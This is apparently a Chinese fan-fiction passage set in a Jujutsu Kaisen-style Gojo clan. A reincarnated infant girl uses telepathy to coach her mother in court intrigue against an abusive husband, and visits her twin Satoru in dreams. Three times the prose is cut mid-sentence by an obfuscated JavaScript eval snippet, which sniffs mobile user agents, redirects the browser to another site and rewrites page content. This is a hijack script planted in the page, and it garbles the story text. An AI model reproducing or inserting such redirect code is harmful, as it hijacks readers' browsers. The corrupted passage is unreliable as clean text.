【不必担心,纱奈。】 清脆悦耳的少女嗓音在心间缓慢流淌,竟奇异地抚平了她所有的焦虑与恐慌。 【我会一直在你身边。】 “……嗯。” 得到肯定的承诺,五条纱奈逐渐放松了心态,美丽的脸庞展露笑容。 【不过现在有一件更为重要的事情。】 “什么事?”以为哪里出了纰漏,她又立刻紧张起来,慌忙追问。 【还能有什么事?】 仿佛很不满意对方的表现,五条清菡不开心地板着一张小脸,清了清嗓子,然后理直气壮地大喊。 【当然是我饿了呀!】 ——愣着干嘛?还不快点去给她冲奶粉! 4. 接触 “听说悟少爷最近一直在哭,都没停过呢。” “唉,何止是最近,他可是从出生开始就一直哭闹到现在,只有吃饭睡觉时才肯勉强安静一会。” “那群愚笨的侍从究竟会不会照顾小孩子啊?再不想想办法,悟少爷继续这么哭下去,迟早会把他的眼睛哭坏吧?还不如换我过去照顾呢,我一定会哄好悟少爷的。” “呵呵,惠子你是在做梦吗?” …… 盘起头发、身穿昂贵和服的几位夫人日常聚在庭院里喝下午茶,一边假惺惺地夸赞“好姐妹”今天的装扮有多美一边聊起从丈夫及儿子那听来的消息再顺势发表一波看法,以展示自身的与众不同。 这幅平和的画面透着一股“其乐融融”,好像彼此真的是关系不错且能互诉衷肠的亲闺蜜,然时不时夹杂的几句阴阳怪气又突显了她们的虚伪,简直可怜得让人笑不出来。 为了这次茶会同样穿上华贵和服的五条纱奈怀抱孩子出现于长廊,抬眸望着那群坐在不远处被男人打压束缚却不自知仍在言笑晏晏的美丽女性,于内心无声嘲讽。 ——并非嘲讽她们,而是嘲讽这个腐朽封建的恶心家族。 含着奶嘴乖乖躺襁褓里的五条清菡看了“母亲”一眼,抬手拍拍,提醒她注意表情管理,忍住千万别露馅。 五条纱奈深呼吸,简单收拾好情绪后,漂亮的脸蛋随之展露出一副有些胆怯腼腆的笑容,鼓足勇气强撑着往庭院中央一步步走去。 “恩?”有人发现她的到来,惊讶得赶紧伸手扯了扯同伴的衣袖,低声道,“是纱奈。” “纱奈?”其余夫人见了同样倍感惊奇,毕竟对方嫁给源君后就整天把自己锁进屋里不出门,不知在捣鼓什么,也从不参加她们的聚会,像是怪胎,一点都不合群,特别讨人厌。 哈,明明是个生于底层的卑微侍女,不过侥幸攀上高枝就忘了原本的身份开始目空一切,总是摆着那副“我跟你们不一样”的清高架子有什么用?还不是留不住丈夫的心? 无能的家伙。 想起对方以前不愿搭理她们的恶劣行径,立刻有人掩嘴轻笑,故作亲切实则满怀恶意地关心:“呀,纱奈,你怎么带着清菡出来了?刚生完孩子应该好好休息才对,把清菡交给侍女就行……噢抱歉,我忘记你身边的侍女被源君调走了。” “别哪壶不开提哪壶啊惠子,你说这话得弄得纱奈多难受呀,她又不是故意的,谁不是从这个年纪过来的呢?现在明白了今后就不会再惹源君生气啦。” 另有一人在身旁笑着伸指点了点她,只是那满满的不怀好意几乎要从眼里溢出,貌似语重心长的劝诫中也暗含讥讽。 “纱奈,女孩子还是要温婉乖巧才讨人喜欢,偶尔撒撒娇可以,但不能真的野蛮暴力,更别说你还因为一个不检点的侧室扇了丈夫一巴掌……那怎么行?平白失了正室风度。” “……”五条纱奈垂下眼帘,片刻后重新抬眸,脸上流露出懊恼反悔的神色,凑近两步压低声音,认错的语气充满真挚。 “对不起,过去是我不懂事,竟然辜负姐姐们的一片真心,在发现源君许久不归家后我才逐渐明白自己之前到底有多么愚钝。” “若不是偶然路过看见正喝茶的几位姐姐,我还要迷茫很久未能及时醒悟呢,幸好天上的八百万神明仍愿意保佑我。” 五条纱奈单手搂抱女儿,另一只手则拿着一个木制的方盒轻轻放下。 “这些是我曾经对各位姐姐态度糟糕的赔礼。” 打开一看,里面静静躺着四支镶嵌有碎钻的精美发簪。 这位眉眼温和的娇艳少女定定注视着面前几个震惊到死死盯着首饰不挪眼的美妇,略微勾起嘴角,柔声道。 “无论是养孩子还是挽留丈夫方面,我都比不上经验丰富的姐姐们,所以今日我斗胆想请求诸位在平常不太忙的时候能抽空指导指导笨拙的我。” “——拜托了。” 襁褓内裹得严严实实的五条清菡适时地发出清越愉快的笑声,她眨着水灵灵的明亮杏眸,眼中的光宛若星辰,可爱得叫人忍不住心软。 “哎哟喂,瞧纱奈你说的,我们都是一家人,当然要互相帮助啦。” 收到预料之外的贵重礼物,再加上对刺头少女格外低微敬重的姿态的受用,从来不被家族重视的她们心底不由得产生一种自己或许也是人上人的错觉,于是瞬间改变态度,近乎傲慢地接纳了对方。 完全超出预料的顺利发展。 五条纱奈简单调整一下抱久有点酸麻的胳膊,随即微笑着望向对面,轻声细语地持续交谈。 一切都在按照计划进行,本该为此安心。 可她看着她们,看着正欢喜摆弄饰品的仍旧年轻貌美的她们,大脑却难以抑制地陷入恍惚,不由自主地回想起今早与五条清菡的那段对话。 …… “哎?要我加入夫人的圈子?”厨房里正按照指示烧水冲泡奶粉的五条纱奈,收到命令诧异地回过头看摇篮床上躺着的“乖女儿”。 她面露迟疑,有些无法理解:“为什么呢?她们常年被困在宅邸,若您是想搜集情报,她们知道的可能还不如侍卫多。” 【哦?你觉得她们派不上用场吗?】 “……难道不是么?” 五条清菡十分艰难地把胳膊从厚厚的被子里拔出来乱挥舞,“咿咿呀呀”地状似不满地抗议,但在五条纱奈脑海中响起的轻笑声又显露了她的愉悦。 【纱奈,你是在小瞧别人吗?那我建议你最好改掉这个坏毛病。】 【要知道世界上不存在毫无价值的人或物品,只存在没被发现价值也没经历过打磨、自以为无用而放弃前进的埋于沙砾的珍宝,就像我在茫茫人海中遇见了你,然后受你的特质吸引选择了你一样。】 女孩弯起漂亮的月牙眸,快乐地拍着小手,甜甜蜜蜜地叫唤“母亲”。 【纱奈呀纱奈,我可爱的纱奈,你就没发现么?那群可怜的女子,是谁的金丝雀呢?你又为什么会接触到她们呢?明明在嫁给罪犯前,你连与她们平视的资格都没有。】 【好好想想吧,她们的价值在哪里?】 “……啊,嗯、嗯……” 从未有人这样夸赞自己,五条纱奈不可避免地感到一丝羞涩,下意识捏紧奶瓶,抿着嘴唇,莫名局促地往旁移开视线,白皙的脸颊微微透出粉红,显得人灿若桃花,娇艳欲滴。 然听见对方的问询,她还是闭了闭眼,强行压制住混乱的心绪,努力调动脑筋跟上五条清菡的思路。 “尽管不想承认,可我能够接触到她们完全是因为……强娶我的那个渣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13654913|143986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滓与她们的丈夫地位差不多,是处于同一阶层的‘伙伴’。”五条纱奈犹豫了一会,试探性地说出自己的猜测。 【Then?】 “额……then……then……”她绞尽脑汁,CPU都快烧断了才结结巴巴地回答道,“我们、我们可以通过几位高层的夫人去获取信息,因为、因为你想嘛,面对自己的伴侣——自己最亲密的枕边人,无论平日再怎么轻视她们、性格再怎么谨慎,一旦回家了就会放松警惕,无意间向妻子泄露秘密。” “人终究不是机器,哪可能时时刻刻都紧绷着神经啊?会疯的吧?” 开头最艰难的部分过去了,接下来的分析也就越来越清晰,讲话也越来越流畅。 五条纱奈紧紧握着奶瓶满脸自信地昂起脑袋,开始滔滔不绝:“而家族的女性基本都待在后院,因不得随意出入,日常活动只有聚在一起喝茶聊天,不过话题贫乏的她们除了聊衣着打扮外就只能八卦从男人那里得知的消息。” “——这便是我们了解外界的渠道啦!” 【哈哈哈哈,了不起了不起,真是了不起!和第一次见面比纱奈你的进步很大哦!】 睡在被窝里的小婴儿“咯咯”笑着鼓了鼓掌,首先肯定了下属的成长才笑吟吟地为她补充细节,说明真正的计划。 【或者我们还能更深入一点,比如……利用他们的妻子传递情报,以此操纵他们。】 “传递操纵?”五条纱奈侧过身子坐在沙发上,边把奶瓶放好等奶水晾晾边伸手轻轻推摇篮。 女孩享受着晃动,“咿呀咿呀”地高兴挥手。 【正如纱奈你刚刚所说,妻子是距离丈夫最近的枕边人,虽饱受歧视,然而也是最能影响到丈夫的人之一。】 【言者无心听者有意,不管是为了增进感情还是为了别的什么原因,妻子一般都会在饭桌上或在床榻上把自己和姐妹们聊的琐事含笑分享给刚工作完回到家休息的丈夫听。】 【脑子不够灵活的同样将其当做八卦,聪明的却能从中获得讯息,立即展开行动。】 五条纱奈倒转奶瓶滴了两滴奶至手腕测温度,确定不会烫伤孩子脆弱的喉管才放心地递过去。 她一脸若有所思:“所以当我们需要谁办事时就针对哪位夫人透露情报,隔空引导操控对方?” 【嘛,算是双刃剑吧,用多了容易被反向追踪,我们也有遭受误导的风险,因此需慎重选择对象,不过这是其一。】 【其二便是要筛选。】 “筛选?” 【嗯,在你找机会跟那个煞笔闲聊的途中可适当提几个人名,借此观察他的反应。】 五条清菡于现实里含着奶嘴使劲嘬奶,却在精神世界耐心解释,一句一句掰碎了仔细讲给她听,尽心尽力地教导。 【纱奈,你要寻找他的盟友,寻找他的敌人,而谁对他毫无威胁,谁又让他产生危机感……你要对此进行分门别类,筛选出我们真正的同伙。】 “是。”五条纱奈捧稳奶瓶,毕恭毕敬地回应,随之探问,“那我现在……?” 女孩弯眸笑了笑,语调轻快又活泼。 【现在嘛,去你房间的梳妆台,从人渣送你的那堆东西里挑选几件昂贵的饰品出来。】 【毕竟与人交往,怎能不准备礼物呢?】 5. 重逢 连续几天参加聚会,中途再送送礼,确定纱奈被贵妇圈真正接纳后,五条清菡才放心地把注意力投向别处。 “哎?您要去看望悟少爷?” 五条纱奈正挽起袖子将脏衣服扔进洗衣机,闻言立刻惊讶地扭过头看她。 【是呀,之前不是说他从出生一直哭闹至今吗?稍微有点好奇。】哇塞,真的会有人那么能哭吗?她对此持怀疑态度。 女孩懒洋洋地赖着不想动,咂吧咂吧小嘴,品味了一会刚喝完的牛奶,闭上眼。 【纱奈,我出门玩咯~】 “是,请您一路小心,清菡大人。” ****** 中央宅院。 几位侍女焦乱不堪地团团围住一张摇篮床,瞧着无论她们怎么哄怎么哀求都没用、始终哭闹不休的神子,心疲力竭,累得眼眶底下全是浓浓的乌青,各个精神萎靡得如同重病未愈的患者。 “究竟是为什么呀?!为什么呀?!明明肚子又不饿身体又没不舒服,六眼也拿黑布牢牢地盖住了,所以悟少爷究竟是为什么会一直哭啊?!” 其中一位侍女直接被逼疯了,双手死死揪着自己的头发乱扯,痛得大喊大叫。 “再这样哭下去一定会把眼睛哭坏的!他现在嗓子都已经哭哑了!” “别吵啦兰,待会要是长老过来看见你发疯肯定会怪罪你的。”另一名侍女同样双眼无神,被折磨得表情呆滞,却依然强逼自己振作起来好心提醒朋友。 “哎,你们说,有没有一种可能……是悟少爷想妹妹了?” 第三位侍女靠近伙伴,犹豫着压低了声音猜测。 “毕竟是从同一个娘胎里出来的双生子,要是强制分开了肯定会很难过的吧?我以前听别人说双子之间都有心灵感应,或许是悟少爷发现他妹妹……” 她自动把后边的话咽回去,仅用眼神示意。 “……” 大家看懂了她的暗示,却都面面相觑,无人敢发言,场内顿时陷入一片寂静。 许久。 “悟少爷和那位真可怜……家主和长老他们也太狠心了吧?”不管怎么说,婴儿都是无辜的呀。 不知是谁躲在人群里借着掩盖小声嘟哝一句。 “别抱怨啦,家主跟长老他们这么做自然有他们的道理,我们只要听话照做就行了。”领头的侍女握拳轻轻敲打这个管不住嘴的傻姐妹,严肃地叮嘱,“这回我就当没听见,但没有第二次。” “好的好的。”被教训的那小女生嬉皮笑脸的,根本就不害怕。 她无奈地摇摇头,转移视线,望向摇篮床里哭久了没力气再哭只能吸着鼻子断断续续抽泣的可爱小男孩,伸出手仔细擦掉了划过他细嫩脸颊的晶莹泪水,内心却忍不住叹息。 ……真是一对可怜苦命的兄妹,望上苍保佑你们的灵魂于死后能够团聚,再不分离。 也许是侍女真诚的祝愿感动了善良的神灵,祂因此挥舞神器向凡界施展法术—— 原本还在挣扎闹腾的五条悟不晓得为何竟慢慢停止了抽噎,随后奇特地、一点一点地合上眼睛,呼吸逐渐平缓。 到最终,他安稳地睡着了。 …… 顺着先前的精神链接找过去,恢复成年体的五条清菡刚一脚踏进五条悟的梦境,就瞅见一团熟悉的白色棉花糖极速飞来,然后猛地撞进自己怀里发出“duang”的一声,甚至很有弹性地弹了一下才晃晃悠悠地趴回来。 嗯,特别可爱。 “你真的好喜欢撒娇哦,兄弟。”五条清菡不由感慨,接着捧起那团球……额,不知道是不是脸蛋的部位,使劲揉搓。 五条悟听了越发往她怀里钻,像是要钻进妹妹的体内,让两人融为一体,永不分开,一如当初他们仍在母亲子宫里互相守望与陪伴那样。 “别钻啦,再钻就要钻出一个洞来了。”五条清菡抬手拍拍他,语调懒散提不起劲,“爱哭鬼,总是哭总是哭,就不怕把眼睛哭坏啊?这么想我的吗?” 不说还好,一说六眼神子就瞬间爆发了。 生气、担忧、委屈、不满、恐慌和许久未见面的想念,各式各样的负面情绪揉杂成混乱的一团仿佛在炸爆米花一般地齐齐炸开,一窝蜂涌进来怼得她脑壳疼,弄得她连忙叫停。 “OK,我闭嘴,我闭嘴,都是我的错,我不说啦行么?饶过我吧少爷!冷静点!” 雪色的小棉花糖依旧气鼓鼓的,不停地控诉,但看妹妹认错了最后还是平静下来乖巧地趴着不动。 唉,脾气真糟糕。 丝毫不觉得自己长久没来看人家报平安只顾着带下属耍阴谋是错的五条清菡揣着怀内的一颗悟球四处张望,观察他的意识空间,可惜周围尽是白茫茫的一片,什么景象都没有。 唔……也对,毕竟是个尚未对世界建立认知的刚出生的小婴儿嘛。 “作为惹怒你的赔罪礼物,就带你去我家吧。” 她左手抱着男孩,右手随便一挥顺利接管对方的潜意识,于是眼前的场景立即大变样。 虚无的空白从梦境的边缘处开始渐渐消散,取而代之的则是缓慢扩展的湛蓝晴空。 三面环山,凶猛的巨鹰翱翔于天际,一棵棵高大的树木上长满了美味可口的果实,翡翠般的青青草原里有鲜艳的花朵在随风舞动,广袤丛林的尽头是一座宏伟雅致的古老城堡,威严庄重且不容外敌侵犯。 “欢迎来到美丽的意大利西西里岛。” 五条清菡心情很好地带着五条悟走过茂密的树林站定于城堡门前,低下脑袋一脸笑眯眯地向他介绍。 “希望你能喜欢我的家乡。” 雪团子好奇地转着圈打量周围环境,却没有脱离妹妹的怀抱,反而黏人黏得更紧了,大概是因为不熟悉这里吧。 “那是草,绿色的青草,枯萎后会变黄。”注意到对方的目光久久停留于草丛,五条清菡就伸手折断一根狗尾巴草递给他,并不认为这么做会有问题地、自然而然地进行早教,“草的生命力很顽强哦,只要有土壤和充足的阳光,再加上一丢丢水,不管拔掉多少都能重新长……喂,不要放进嘴巴里。” 成功阻止小屁孩吃草(虽然从实际画面来看是透明的果冻伸出一根触须卷着杂草试图塞进自己身体被阻拦),她无奈地叹了口气,顿感头疼地抬手扶额,口中不禁嘀咕两句。 “真是的,明明……就很乖呀,难道说这才是正常小孩应该拥有的表现?奇怪了。” “不过你有六眼欸,据五条家的人说是五百年一现世的绝顶天赋,亦是注定站在世界最巅峰的力量代表,嘛,我承认单从外观而言确实非常漂亮啦。” 没有踏入城堡,五条清菡抱着牛奶蛋糕转身往花园方向走,轻松找到一处被鲜花环绕的阴凉地,舒舒服服躺下。 五条悟则安心地软成一滩水,高高兴兴地、尽情地跟妹妹亲密接触,同时不忘竖起耳朵乖乖地听对方讲故事。 女人顺势摸了摸他,习惯性地调整睡姿才清着嗓子继续。 “太奇怪了,不是指你爱哭这点啦,是指五条家对你的态度,总感觉他们把所有的一切都压在你一个小鬼身上了,倍受期待呐,我都忍不住怀疑等你长大后是不是真的强到变态,不然不合理呀。”这种全家族无条件供养奉献还没人拒绝反抗的异常…… 说完她低头观察便宜兄弟的表情,五条悟敏锐地察觉到也只是开心地蹭了蹭妹妹,对她话里的内容却反应平平,似乎毫不在意族人擅自强加给自己的巨大期望,当然也有可能是年纪太小不理解其中的含义。 “我估计你以后会很辛苦啊,朋友。” 不知肚子里又滚动着什么坏水,五条清菡眼神闪烁了一下,那张清秀的脸蛋上随之挂起虚伪做作的笑容,过于甜腻的语气着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13654914|143986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实令人心慌。 “呐,小少爷,要不要跟我做一个交易?” “?”五条悟再次挪了挪圆滚滚的身子想要寻找合适的姿势好更贴紧妹妹,结果听见对方莫名其妙的声音就下意识抬头,散发出不明所以的迷茫情绪。 “尽管家族对你寄予厚望,然而你也不得不承认,现在的你还太弱小了,弱小得……随便来个人断了你的奶你就会饿死,更别提外界存在的对六眼虎视眈眈的隐秘敌人与各种突发性意外,所以你很容易在成长起来前夭折,没错吧?” 她边讲还边伸手像提猫一样地捏着对方的后脖颈(大概是这个部位)提去别的地方放好,毕竟总是压着同一个地方,压久了会超级难受。 可惜软绵绵的白色雪糕球只听一半就对后面的长篇大论彻底丧失了兴趣,被妹妹提溜走也没闹腾,仅仅无聊地趴在她肚子上翻滚来翻滚去地玩触手。 “因此我有一个好的提议。” 没人听自己讲话五条清菡也不恼,反倒翘着腿打了个响指,变出一大堆五彩斑斓的凤尾蝶让它们绕着怀中这团小小的棉花糖飞舞。 这是六眼自出生以来第一次识别到的可以称得上是璀璨珣丽的生物,并非昏暗逼仄的封闭室内,并非大人拿来希望自己能够提早适应能够将其纳作认知世界一部分的恐怖诅咒,而只是……单纯的美。 五条悟兴奋不已地摇晃,快快乐乐地跳跃追逐,急着要跟新伙伴一起玩耍,差点摔倒时还被五条清菡顺手扶稳。 “我们等价交换吧。” 金色的阳光温暖宜人,娇嫩的花儿争奇斗艳,扇动着翅膀翩翩起舞的艳丽蝴蝶在空中盘旋,又轻飘飘地落进男孩的怀抱,于他小心翼翼地触碰下温柔地亲吻了他的指尖。 “在你成长起来前我会保护你,给予你可以自由选择的无拘无束的人生,与之相对的——” 五条清菡抬手摸了摸扬起小脑袋有些懵懂回望她的年幼神子,勾起唇角微微一笑,神色轻快。 “等你成长起来后你要保护我,在我需要你帮助的时候必须无条件地配合我。” “怎么样?是一笔非常公平的交易吧?” 五条悟不太清楚她的意思,圈着柔弱的凤尾蝶,面露疑惑地朝对方歪了歪头。 但他又隐约明白妹妹此刻需要自己的回应,于是毫不犹豫地点头答应。 即便日后理解了契约的内容,即便自己抵达了遥远的未来,即便兄妹两人会因观念不同产生分歧—— 背负最强之名改变世间平衡的神子,永远都不会反悔今天做出的这个决定。 …… 客厅里正忙着打扫卫生的五条雅忽然听见一声从屋内传出的惊呼,还以为是悟少爷发生意外了,吓得赶紧冲进卧室。 “怎么了怎么了怎么了?!是有敌人躲在床底企图刺杀悟少爷吗?!” “咋可能啊?你当屋外的守卫是假的吗?”立马有人无语地翻白眼。 “那是发生什么事了?我听到喊声……”冲动的笨蛋困惑地挠挠脸问。 “悟少爷,睡觉的时候在笑耶。”方才弄出动静负责照料神子的侍女小心捂着嘴巴,即使放低音量也难掩其中诧异。 “原先这段日子他一直皱着眉头哭个不停的……” 众人围着摇篮像看熊猫似的垂首盯着沉睡中的小婴儿,想伸手指戳戳他绵软的脸蛋却又不敢,只能缩在那交头接耳窃窃私语。 “应该是做美梦了吧?很正常呀。” “难以想象悟少爷会做梦……尤其是美梦。” “会是什么美梦?好吃的或好玩的?” 有位成功挤开其她姐妹蹲在最前边的侍女趴在栏杆上双手托腮,本来只想静静观赏六眼的精致容貌,闻言随口答道:“美梦不就那几样吗?不过瞧悟少爷这副愉快的模样……” “说不定呀,他是在梦中与妹妹相聚呢。” 6. 选择 协议达成五条清菡就准备走了,因为她感觉纱奈那边有情况,回去看一眼比较好。 然而当她表露出想要离开的意图时,五条悟一下子就急了,立刻扑过去死死黏着对方,连蝴蝶都不要了,像一块牛皮糖怎么撕都撕不下来,难缠得很。 没办法,五条清菡只好分出一缕精神力留在他的潜意识,并郑重承诺不会再跟之前那样随意抛下他独自去玩耍。 紧紧抱着妹妹分离出的一小团意识,终于如愿以偿地将其塞进体内,确保自己能够随时感应到人的五条悟这才心满意足地点头同意她离去。 瞧着把她一部分欢欢喜喜吞进肚子里吃掉却不觉得有哪里怪异的奶油雪糕,五条清菡单手叉腰嘴角一抽,想说点啥又说不出,最后只能叹气,反正也没什么影响就随便他玩了。 趁麻烦的爱哭鬼忙着带“妹妹”去丛林探险,没有撤掉幻术依旧保留这个梦境的少女悄悄回到了自己真正的身体。 结果刚回来,她就发觉屋内多出了一个从未见过的陌生男人。 ……唔,大概能猜到对方身份,是我那位名义上的父亲吧,时隔一星期总算记得要过来探望辛苦生产的妻子吗?看样子还来了一段时间,纱奈泡好的茶水都凉了。 理清思路的五条清菡没有贸然行动,反而躺在摇篮里默不作声,静观下属成长后的表现。 “这几天的惩罚果然有效,看来你们女人是真的天生犯贱,非得挨打才会听话。”身穿和服腰佩长刀的五条源盘腿坐在矮桌前,打量着四周井然有序的摆设,双手环胸不屑地冷哼。 五条纱奈沉默地跪坐在身旁,垂眸注视着桌面摆放的茶壶与茶杯,内心却幻想将它们狠狠地砸上那张讨厌的脸,并且用碎片划破他的皮肤,放干全身的血让他死。 不过她最终还是压制住了那股冲动,强迫自己展露笑容,膝盖向前挪蹭几步倾身斟茶,表面尽量装作一副卑微恭敬的模样,低眉顺眼道:“是,纱奈已经知错了,今后定会改正,因此在这烦请夫君宽容地原谅我之前的无礼行径吧。” 男人顿时阴阳怪气地嘲讽:“哟,岂敢呐?如果我不原谅,你是不是又要来扇我一巴掌?” ……何止一巴掌?我恨不得你能当场暴毙原地出殡呢。 五条纱奈在心底恶意满满地诅咒对方,面上却挂着笑吟吟的表情,软声软语地求饶,直说得他心情通畅,眉飞色舞,语气也变好了。 “行啦行啦,天底下哪有跟妻子计较的丈夫?”五条源摆摆手叫她闭嘴又瞥过去一眼,“女儿呢?不是说顺利生产?” 呵呵,顺利生产你祖宗十八代。 她面露迟疑,犹豫着回答:“清菡才刚喝完奶睡着,要是抱过来恐怕会被吵醒大哭……” “那算了。”他一听孩子会哭闹就果断放弃,原先少得几乎没有的父爱再次削减。 成功令垃圾人渣打消危险念头的五条纱奈暗自松了口气,随即想到清菡大人曾经的吩咐,又假装踌躇地越发凑近他耳边低声询问。 “夫君,昨日我与惠子她们喝茶的时候无意间听到她们透露……说是凉太君、次郎君、悠真君他们似乎是想把自家女儿全送去悟少爷的身边,你看咱家要不要也将清菡……?” 话中提及的三位家里都是生有女孩的。 当嘴巴念到那几个人名时,五条纱奈不动声色地放慢讲话的速度,一边试探丈夫的想法一边仔细观察他的反应。 说起前两人五条源的神情还很平静,然一听见最后面的“悠真”,眼神立马就变了,捏着茶杯的手条件反射地用力。 仿佛在卧室发现了一只大蟑螂,打又打不死,跑又跑不掉,还怕它乱飞飞进喉咙,只能忍着恶心,满脸厌恶地被迫与其共处一室。 可就在这份厌恶感中,五条纱奈却窥见了几分浓浓的忌惮与防备。 但他并未发言宣泄对那人的不满,而是把注意力集中于有关六眼的正事上。 “嗯……确实该培养清菡,等她再长大一点我会想办法将她送去悟少爷身边,无论如何都不能让别人先一步夺取六眼的关注。”五条源陷入沉思,“若她获得神子的青睐,我们也可以获得更多权利。” “好的,这件事不着急,夫君先用餐吧,你工作一天也劳累了。”五条纱奈微笑着应承下来,关心他的身体健康,摆出的姿态温柔乖顺,宛如理想中的大和抚子,不知不觉间令人卸除心防。 至少五条源的态度变得更加缓和了。 他伸手轻轻握住妻子的手,指腹摩挲着她娇嫩的肌肤,调笑道:“行呀,吃饭吧,吃完刚好能适当地运动一下。” “嘛,虽然女儿也很可爱,但一个家庭中还是要有几个小男子汉能够在我不在家时保护好你们母女俩啊,你说对不对?纱奈。” 五条纱奈闻言差点控制不住杀人的欲望,手指动了动又猛地扣紧,努力忍耐着不要一拳头捶扁那张屎壳郎般的丑脸,表情略显僵硬,为避免露馅赶紧转移话题。 “哎呀,源君,别着急,我还听说……” *** 吃完午饭,五条源本想跟许久不见的妻子再好好联络一下感情,可惜突发急事需要处理,只能遗憾地与人告别。 五条纱奈强行压着欢呼的欲望恭恭敬敬地目送对方离开,待人渣的背影彻底消失后才敢放松地呼出一口气,扭头去卧室寻找“女儿”,想看她有没有办完事回来。 结果她刚踏进房间就对上了一双含着轻微笑意的黝黑眼眸,如孩子般纯真无邪、清澈澄净。 【干得不错。】五条清菡笑意盈盈地夸奖,【没让对方发现异常呢~】 反手合上障子纸门,收获意料之外的赞赏的美少女脸蛋不由微微泛红,却依然从容不迫地躬身向她行礼,语气格外谦虚:“这都是您背后指导的功劳。” 襁褓里的女婴“咯咯”笑着,小手轻快地拍了拍身旁的位置示意她靠近。 【好啦~过来坐,咱们不说那些客套话了,既然纱奈你已经和他交谈,那就陈述你的想法吧。】 “是。”五条纱奈应声后走到摇篮床旁敛衣跪坐,边伸手帮她掖被角边琢磨着内容谨慎作答。 “方才同他交流时我有遵照您的命令试着提起几个人名,撇开没反应的那些,只有两人能让他的情绪产生波动,一位是隶属于翔太郎长老的五条文也,另一位则是跟他同阵营的五条悠真。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13654915|143986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “他的情绪会突然那么激动,我想,那两位带给他的威胁或许远超常人,是最能激发他危机感的强劲可怕的对手。” 【哦?所以你的建议是?】五条清菡饶有兴趣地问道。 “所以我的建议是——选择五条文也。”她神态严肃,十分认真地回答,“他会反感五条文也,很有可能是因为岩长老与翔太郎长老的关系最差,争权争得最厉害,那么作为岩长老亲信的他自然也会跟随上级的脚步敌对仇视文也君。” “如果我向文也君暗示投靠,为了削弱敌方势力的翔太郎长老一定会帮忙设陷阱,把五条源踩死!” 【确实如此,讲得很有道理,借刀杀人也是一个很好的计谋。】五条清菡先点点头肯定下属的思路,接着冷静反问,【那你留给自己的后路呢?】 “咦?后路?”经验不足的五条纱奈原本还有些得意,然而一听这话立马就愣住了,呆呆地冒出一句,“翔太郎长老不该保护他的盟友吗?” 唉,果然啊。 她忍不住叹气,为了对方的天真。 【纱奈,我再教你一件事——在这个物欲横流的冰冷世界,没有永恒的朋友,仅有永恒的利益。】 【当你失去利用价值的那一天,就是被所谓的“盟友”抛弃的那一天,因此决不能轻易相信别人许下的承诺,否则结尾感到后悔的只会是你。】 【纱奈呀纱奈,我亲爱的纱奈。】五条清菡向她伸出柔软的小手,少女往前膝行几步,凑近了乖巧地俯身,任由她轻轻抚摸自己的脸,极其顺从地听着。 【选择敌对的另一方固然能达成你的目的,可如果行事败露,被断一臂的五条岩及他人必将怒火倾泻到你的身上,而五条翔太郎为了划清界限,届时定会对你袖手旁观。】 【选择五条悠真吧,跟相对不太着急的敌方阵营不同,他和五条源是有直接利益冲突的,不把对方拉下马他就永无出头之日,若他真的能够成功扳倒五条源,至少对五条岩而言肉都是烂在自家汤锅里,损失微乎其微,甚至这还代表了五条悠真的能力比五条源更优秀,他也就不在意私底下有没有人捣鬼。】 五条清菡意味深长地补充最后一点。 【纱奈,你要知道,外敌挑衅,和自家内斗,可是两码事啊。】 “……”五条纱奈不由自主地陷入沉默之中。 过了片刻,她才低垂着眼帘,用几乎听不见的音量轻声呢喃:“不过要是那样……五条悠真根本就不会对他下死手呀,岩长老即使允许内斗,也决不允许赶尽杀绝。” ……倘若最终选择妥协,那么我曾经的痛苦、曾经的仇恨、曾经的绝望,又该如何消除化解呢? 【当然不会妥协,我们都已经走到了这一步,怎么能够妥协?】 脑海深处忽然响起的声音惊醒了五条纱奈。 她下意识地看向对面,正好撞见女孩朝自己调皮地吐舌头眨眼。 【纱奈,机会难得,你想不想玩把大的?】 五条清菡笑眯眯地注视着眼前莫名怔愣的下属,语调活泼又欢快,带着十足的愉悦感。 【日子安稳得太久,也是时候该乱起来了。】 7. 发芽 雨天。 淅淅沥沥的小雨下个不停,晶莹剔透的水珠砸上精致的窗棂又徐徐滑落,滴至窗台汇成浅浅的水洼。 五条悠真迎着朦胧细雨匆匆赶回家,待踏进温暖的室内立即脱掉沾有潮气的外套挂于木架,随手抹了把面部上的雨水,接着呼出一口冷气,松开一直紧皱的眉头,带着温和的笑容走向客厅。 客厅里,夫人早已做好了晚饭在等他,两个孩子应是玩累了,正趴在沙发上呼呼大睡,估计一时半会是叫不起来了。 